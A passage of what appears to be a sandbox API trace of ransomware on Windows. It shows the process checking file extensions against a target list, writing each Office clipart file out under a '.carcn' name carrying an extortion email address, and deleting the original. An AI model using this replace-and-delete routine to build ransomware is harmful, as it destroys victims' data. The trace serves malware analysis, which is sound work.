1 [0311.838] lstrlenW (lpString=".xlsx") returned 5 [0311.839] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0311.839] lstrlenW (lpString=".ppt") returned 4 [0311.839] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0311.839] lstrlenW (lpString=".zip") returned 4 [0311.839] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.839] lstrlenW (lpString=".rar") returned 4 [0311.839] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.839] lstrlenW (lpString=".bz2") returned 4 [0311.839] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.839] lstrlenW (lpString=".7z") returned 3 [0311.839] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0311.841] lstrlenW (lpString=".dbf") returned 4 [0311.841] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0311.841] lstrlenW (lpString=".1cd") returned 4 [0311.841] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0311.841] lstrlenW (lpString=".jpg") returned 4 [0311.841] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.842] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.842] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0311.843] GetLastError () returned 0x0 [0311.843] ReadFile (in: hFile=0x324, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x212e, lpOverlapped=0x0) returned 1 [0311.893] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2130, lpOverlapped=0x0) returned 1 [0311.894] ReadFile (in: hFile=0x324, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.894] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.894] SetEndOfFile (hFile=0x37c) returned 1 [0311.894] CloseHandle (hObject=0x37c) returned 1 [0311.894] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.894] SetEndOfFile (hFile=0x324) returned 1 [0311.895] CloseHandle (hObject=0x324) returned 1 [0311.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0311.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0311.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0311.897] lstrlenW (lpString=".doc") returned 4 [0311.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0311.897] lstrlenW (lpString=".docx") returned 5 [0311.897] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0311.897] lstrlenW (lpString=".pdf") returned 4 [0311.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0311.897] lstrlenW (lpString=".xls") returned 4 [0311.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0311.897] lstrlenW (lpString=".xlsx") returned 5 [0311.897] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0311.897] lstrlenW (lpString=".ppt") returned 4 [0311.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0311.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0311.897] lstrlenW (lpString=".zip") returned 4 [0311.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0311.897] lstrlenW (lpString=".rar") returned 4 [0311.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0311.897] lstrlenW (lpString=".bz2") returned 4 [0311.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0311.897] lstrlenW (lpString=".7z") returned 3 [0311.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0311.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0311.898] lstrlenW (lpString=".dbf") returned 4 [0311.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0311.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0311.898] lstrlenW (lpString=".1cd") returned 4 [0311.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0311.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0311.898] lstrlenW (lpString=".jpg") returned 4 [0311.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.193] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.193] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.194] GetLastError () returned 0x0 [0312.194] ReadFile (in: hFile=0x38c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x3c68, lpOverlapped=0x0) returned 1 [0312.216] WriteFile (in: hFile=0x374, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3c70, lpOverlapped=0x0) returned 1 [0312.217] ReadFile (in: hFile=0x38c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.217] WriteFile (in: hFile=0x374, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.217] SetEndOfFile (hFile=0x374) returned 1 [0312.217] CloseHandle (hObject=0x374) returned 1 [0312.218] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.218] SetEndOfFile (hFile=0x38c) returned 1 [0312.219] CloseHandle (hObject=0x38c) returned 1 [0312.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0312.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0312.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0312.220] lstrlenW (lpString=".doc") returned 4 [0312.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.220] lstrlenW (lpString=".docx") returned 5 [0312.220] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0312.220] lstrlenW (lpString=".pdf") returned 4 [0312.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.220] lstrlenW (lpString=".xls") returned 4 [0312.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.220] lstrlenW (lpString=".xlsx") returned 5 [0312.220] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0312.220] lstrlenW (lpString=".ppt") returned 4 [0312.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0312.221] lstrlenW (lpString=".zip") returned 4 [0312.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.221] lstrlenW (lpString=".rar") returned 4 [0312.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.221] lstrlenW (lpString=".bz2") returned 4 [0312.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.221] lstrlenW (lpString=".7z") returned 3 [0312.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0312.221] lstrlenW (lpString=".dbf") returned 4 [0312.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0312.221] lstrlenW (lpString=".1cd") returned 4 [0312.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0312.221] lstrlenW (lpString=".jpg") returned 4 [0312.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.242] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.242] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.243] GetLastError () returned 0x0 [0312.243] ReadFile (in: hFile=0x38c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x3928, lpOverlapped=0x0) returned 1 [0312.270] WriteFile (in: hFile=0x374, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3930, lpOverlapped=0x0) returned 1 [0312.272] ReadFile (in: hFile=0x38c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.272] WriteFile (in: hFile=0x374, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.272] SetEndOfFile (hFile=0x374) returned 1 [0312.272] CloseHandle (hObject=0x374) returned 1 [0312.272] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.272] SetEndOfFile (hFile=0x38c) returned 1 [0312.273] CloseHandle (hObject=0x38c) returned 1 [0312.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0312.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0312.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0312.274] lstrlenW (lpString=".doc") returned 4 [0312.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.274] lstrlenW (lpString=".docx") returned 5 [0312.274] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0312.274] lstrlenW (lpString=".pdf") returned 4 [0312.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.274] lstrlenW (lpString=".xls") returned 4 [0312.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.274] lstrlenW (lpString=".xlsx") returned 5 [0312.274] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0312.274] lstrlenW (lpString=".ppt") returned 4 [0312.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0312.274] lstrlenW (lpString=".zip") returned 4 [0312.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.275] lstrlenW (lpString=".rar") returned 4 [0312.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.275] lstrlenW (lpString=".bz2") returned 4 [0312.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.275] lstrlenW (lpString=".7z") returned 3 [0312.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0312.275] lstrlenW (lpString=".dbf") returned 4 [0312.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0312.275] lstrlenW (lpString=".1cd") returned 4 [0312.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68 [0312.275] lstrlenW (lpString=".jpg") returned 4 [0312.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.316] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.317] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0312.319] GetLastError () returned 0x0 [0312.319] ReadFile (in: hFile=0x388, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x3734, lpOverlapped=0x0) returned 1 [0312.334] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3740, lpOverlapped=0x0) returned 1 [0312.335] ReadFile (in: hFile=0x388, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.335] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.335] SetEndOfFile (hFile=0x380) returned 1 [0312.335] CloseHandle (hObject=0x380) returned 1 [0312.335] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.335] SetEndOfFile (hFile=0x388) returned 1 [0312.336] CloseHandle (hObject=0x388) returned 1 [0312.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0312.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0312.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0312.337] lstrlenW (lpString=".doc") returned 4 [0312.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.338] lstrlenW (lpString=".docx") returned 5 [0312.338] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0312.338] lstrlenW (lpString=".pdf") returned 4 [0312.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.338] lstrlenW (lpString=".xls") returned 4 [0312.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.338] lstrlenW (lpString=".xlsx") returned 5 [0312.338] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0312.338] lstrlenW (lpString=".ppt") returned 4 [0312.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0312.338] lstrlenW (lpString=".zip") returned 4 [0312.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.338] lstrlenW (lpString=".rar") returned 4 [0312.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.338] lstrlenW (lpString=".bz2") returned 4 [0312.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.338] lstrlenW (lpString=".7z") returned 3 [0312.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0312.338] lstrlenW (lpString=".dbf") returned 4 [0312.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0312.338] lstrlenW (lpString=".1cd") returned 4 [0312.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0312.338] lstrlenW (lpString=".jpg") returned 4 [0312.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.346] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.346] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0312.347] GetLastError () returned 0x0 [0312.347] ReadFile (in: hFile=0x38c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x3eb4, lpOverlapped=0x0) returned 1 [0312.351] WriteFile (in: hFile=0x318, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3ec0, lpOverlapped=0x0) returned 1 [0312.352] ReadFile (in: hFile=0x38c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.352] WriteFile (in: hFile=0x318, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.352] SetEndOfFile (hFile=0x318) returned 1 [0312.352] CloseHandle (hObject=0x318) returned 1 [0312.353] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.353] SetEndOfFile (hFile=0x38c) returned 1 [0312.354] CloseHandle (hObject=0x38c) returned 1 [0312.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0312.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0312.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0312.355] lstrlenW (lpString=".doc") returned 4 [0312.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.355] lstrlenW (lpString=".docx") returned 5 [0312.355] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0312.355] lstrlenW (lpString=".pdf") returned 4 [0312.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.355] lstrlenW (lpString=".xls") returned 4 [0312.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.355] lstrlenW (lpString=".xlsx") returned 5 [0312.355] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0312.355] lstrlenW (lpString=".ppt") returned 4 [0312.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0312.356] lstrlenW (lpString=".zip") returned 4 [0312.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.356] lstrlenW (lpString=".rar") returned 4 [0312.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.356] lstrlenW (lpString=".bz2") returned 4 [0312.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.356] lstrlenW (lpString=".7z") returned 3 [0312.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0312.356] lstrlenW (lpString=".dbf") returned 4 [0312.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0312.356] lstrlenW (lpString=".1cd") returned 4 [0312.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0312.356] lstrlenW (lpString=".jpg") returned 4 [0312.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.360] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.360] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 